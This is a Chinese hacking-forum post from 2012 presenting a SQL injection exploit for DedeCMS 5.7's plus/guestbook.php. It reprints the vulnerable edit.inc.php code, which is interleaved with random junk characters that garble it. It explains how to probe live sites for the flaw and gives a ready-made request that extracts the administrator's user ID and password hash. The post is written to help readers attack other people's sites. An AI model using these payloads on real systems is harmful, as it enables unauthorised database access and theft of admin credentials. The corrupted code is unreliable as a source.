找回密码
 立即注册
查看: 4448|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
) b; [9 \; l2 p, ~$ r7 n2 \9 B' ~, y1 L9 o* U% t
漏洞文件edit.inc.php具体代码:
& q+ h* n2 ^& S
. _7 B6 X0 x& P5 G5 z< ?php  
6 W9 E4 o) x0 }+ j
* |( o$ a, `% Rif(!defined('DEDEINC')) exit('Request Error!');  . N& a# i( y6 K2 l+ c& p
  r* k8 l9 ?4 W! R% M% ?2 u
   
. v5 M" }: c: X/ ?8 V- ^6 e) y: N" L) w  G4 f/ U% p0 k! k
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
# Q; K2 B- q) ^4 n. i/ _$ R; J7 g- x7 u, w7 Q. _. O
else $GUEST_BOOK_POS = "guestbook.php";  0 Q& N( Y# {. o, u9 @

; v% b0 l, i( c   . B# E* h% [7 i6 S8 l
1 x5 e- ?5 l5 T! a- r
$id = intval($id);  1 X, v& l5 S: q" B% A% R/ {
, l; I, H, M; Z
if(empty($job)) $job='view';  
4 V9 _1 R# n* y0 `1 p1 P* u8 Q  N; [8 L/ J) ~
   
+ A* L7 f- y7 m& r5 k6 ~/ s& T: N0 @& c( S
if($job=='del' && $g_isadmin)  , g% ]8 u: C, _* l+ X; m

0 m4 C2 I2 h; E/ O{  
8 K2 |) v3 A. _$ u% Z
0 ~1 ]/ W/ F8 C6 N, G( I) r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
9 x7 }* {* E1 c, P# s
: U! n6 x/ n+ a% i! T5 uShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
& Q: Q1 B9 k3 F8 o! y; G& b4 e4 c) G1 B" C$ L. F
exit();  
# A5 [3 x; }8 v! V4 t# L- ?: s' d7 ?5 l
}  
$ t4 F1 H  {* l6 `" L' o) u  q7 D
6 N' p7 S! X& m1 \! E! `! W4 Xelse if($job=='check' && $g_isadmin)  
+ j4 M9 b% B8 I* [  R: h$ E8 ?: W# F' d% a8 s" z% b' Q! k
{  
, e0 Y7 s' u2 x4 y% [
7 x' o5 `" B+ q: a4 K$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
* |. u' i& Y, |& n( W  Z
1 h+ S! P. X1 l$ A8 cShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
7 U$ c0 g1 X' }; ]4 @% _. O3 s! a3 |  i9 U6 |; k
exit();  ( y) g: H2 Z: J! b
' f' j% f: |8 k
}  5 Z. R8 t  c0 }/ e5 @" ]; V# `

/ \, N% [! R1 T! V2 selse if($job=='editok')  & I$ o; p6 ^; [% i6 O0 K* U

! C% J* s) i) {{  7 a4 p, P9 H; e( Q

( D( u$ [- V! s. D$remsg = trim($remsg);  4 ?" Q1 ]1 L# X% f
# O9 @  p2 G8 ]  y6 _  |* H
if($remsg!='')  : w0 c6 b4 Q8 X) Q

7 P+ ^+ O9 x6 i1 L" `( Y. L5 N: g{  ( p% T( y; n! F) G$ M

/ F) a5 _. G+ |* n# U/ b//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" P2 h, I9 ^! G2 b
% D: W9 l; C+ O. q+ Uif($g_isadmin)  8 s8 T0 C5 C5 q# z7 d

" n  H: y& y. B+ S# j+ L, j% X{  
( d' H5 F8 B, L) d) E. ~" j- p2 c2 `7 R; h8 l; f
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
4 A  ^( l# `+ ^  p& |# b" c+ v: g5 f( q. T; [
//$remsg <br /><font color=red>管理员回复:</font> }  # N3 Z- f8 h5 t  p

' g9 L9 H4 ~) Y- @. v* i, Relse 2 T) I$ O6 O) O' E! `2 C  o
. _  d" |; q8 P1 w
{  4 `1 M/ B. x* O: m8 ^) ]
* o; H3 f3 y" z+ G, J! {+ Q9 q9 ^# c
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
/ O3 a5 h9 z4 j2 Y' \2 k8 |
+ h& X. C% |+ [3 M/ d0 B) I- U+ x4 k$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
/ m/ L; _; Z' I& T
) z& m0 G: i' u5 ]$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
. y9 o6 l$ K  z3 }: o3 w9 Q" A9 p& O! k: J
$msg = $oldmsg.$remsg;  1 j( R* D" S* J; J0 ^# n

( e1 {' [: j8 ~" P, e8 R}  
3 V' {3 Y$ E# x
, r7 O' \  g& V1 t# [3 d* I6 _4 x7 j$ W}  
  ^: X" X( Q9 [0 K. M+ K- U
/ b6 @7 K/ |1 \2 P1 d9 K//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
; `& ^$ h/ Z8 g
: ~: G& x% R2 c8 J; }0 X$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  4 m- F  _, @9 M6 W$ v- a0 c# p, {: {
4 G8 L" Y  B  y% l: i% o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  # R6 g: |4 \0 |! S
0 o% h7 P  ^8 w7 D% t7 K( [
exit();  6 U2 ]' o# t" e

+ H5 H, C( R* h, V4 d}  7 y+ D8 F- p0 t/ ?3 g; z7 o5 x( Y

" e' S. x/ w, P  p9 e//home:www.errs.cc  $ `6 _3 B8 n& w+ H. x  m  `% B, X

: C8 Z, I. L, R; Yif($g_isadmin)  
8 P$ Y: Q2 n: T8 B% M% [
  M, C3 `* H% V& \) u{  
4 E! R# C' B9 M+ ]
0 _' z/ H( A$ }1 ^' ?0 M, C  a( O$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
5 i% k8 Z7 D" I5 t8 |, v" n4 ~. U; }2 m7 s' Y+ W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 o6 ]5 g' D' |$ ?; ?; ~
, L0 ]! e/ I) ^7 p9 R2 O}  
, i' h( N$ U4 v# {/ w
0 l7 ]! D8 k8 _else
0 S( \/ h& Q2 ^: Q0 @) A: _7 N; g8 |& Y4 u9 R. ^7 O5 \) m' Z) Q
{  ' _" O. _; \$ j& L, C
7 ~0 G: G" @2 F* }( V$ E0 ^
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
  z# }3 m5 _4 \+ r( p0 I/ I% N0 S* O2 d" V" P' v2 }: @
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
7 W# G5 G* L) M) H! K) ?) ~' @! E& ]- J$ w9 E7 U; R* v
} 漏洞成功需要条件:
+ p1 D9 p$ m/ n! R& I# \1. php magic_quotes_gpc=off
9 l3 l0 l( t1 h. u- g% J& l) h+ K2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。4 R1 W- i3 H. D' t, z: O

; u6 @+ E5 Y* T1 b1 M7 t怎么判断是否存在漏洞:: u0 \  U2 \8 t( b
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,. O& p2 U8 M5 \: c
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 D2 J& X4 ?' I! {访问:
- i( H3 z' X* k2 N1 g6 `# E8 s
6 y9 U* B7 v# j! H* N! Q5 Xwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
: L2 y5 \' u6 {, l8 j# C跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% o0 f! {$ S  \/ o) I# G

0 P& F( r+ [1 h* a, {8 |
8 V, p( Q9 ]/ l  ~! Y$ R2 }明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# h9 V% R4 F8 ]/ C) [  r' k如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
  A: j( ~8 L0 c/ {% j那么再次访问
5 J0 ^, F' k9 P8 R( P5 f$ T! _, w" w6 n
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().) A" `6 ^+ n# e2 d  q+ V6 `" @
3 V& j8 d$ [6 {  H2 A, n9 |
大概利用就是这样,大家有兴趣的多研究下!!4 N( M4 s1 W% r4 I/ _

- c, O5 C7 p  ^# S; y; O  w8 p最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& k# d. Q3 X# ]0 H( Q' N$ Y; X  f6 a0 n
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表